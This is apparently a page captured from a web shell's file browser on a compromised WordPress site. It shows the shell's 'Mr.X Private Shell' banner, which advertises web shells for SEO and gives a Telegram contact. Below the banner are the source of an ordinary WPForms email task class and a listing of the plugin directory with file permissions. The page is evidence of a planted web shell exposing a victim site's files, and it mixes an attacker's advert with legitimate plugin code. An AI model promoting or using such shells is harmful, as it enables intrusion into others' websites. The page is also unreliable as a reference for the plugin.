__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace WPForms\Tasks\Actions;
use WPForms\Tasks\Task;
use WPForms\Tasks\Meta;
/**
* Class EntryEmailsTask is responsible for defining how to send emails,
* when the form was submitted.
*
* @since 1.5.9
*/
class EntryEmailsTask extends Task {
/**
* Action name for this task.
*
* @since 1.5.9
*/
const ACTION = 'wpforms_process_entry_emails';
/**
* Class constructor.
*
* @since 1.5.9
*/
public function __construct() {
parent::__construct( self::ACTION );
$this->async();
}
/**
* Get the data from Tasks meta table, check/unpack it and
* send the email straight away.
*
* @since 1.5.9
* @since 1.5.9.3 Send immediately instead of calling \WPForms_Process::entry_email() method.
*
* @param int $meta_id ID for meta information for a task.
*/
public static function process( $meta_id ) {
$task_meta = new Meta();
$meta = $task_meta->get( (int) $meta_id );
// We should actually receive something.
if ( empty( $meta ) || empty( $meta->data ) ) {
return;
}
// We expect a certain number of params.
if ( count( $meta->data ) !== 5 ) {
return;
}
// We expect a certain meta data structure for this task.
list( $to, $subject, $message, $headers, $attachments ) = $meta->data;
// Let's do this NOW, finally.
wp_mail( $to, $subject, $message, $headers, $attachments );
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| AsyncRequestTask.php | File | 1.09 KB | 0640 |
|
| DomainAutoRegistrationTask.php | File | 2.38 KB | 0640 |
|
| EntryEmailsMetaCleanupTask.php | File | 2.11 KB | 0640 |
|
| EntryEmailsTask.php | File | 1.34 KB | 0640 |
|
| FormsLocatorScanTask.php | File | 12.73 KB | 0640 |
|
| IconChoicesFontAwesomeUpgradeTask.php | File | 3.07 KB | 0640 |
|
| Migration173Task.php | File | 5.3 KB | 0640 |
|
| Migration175Task.php | File | 11.82 KB | 0640 |
|
| PurgeSpamTask.php | File | 1.9 KB | 0640 |
|
| SquareSubscriptionTransactionIDTask.php | File | 3.04 KB | 0640 |
|
| StripeLinkSubscriptionsTask.php | File | 6.81 KB | 0640 |
|
| WebhooksAutoConfigurationTask.php | File | 2.39 KB | 0640 |
|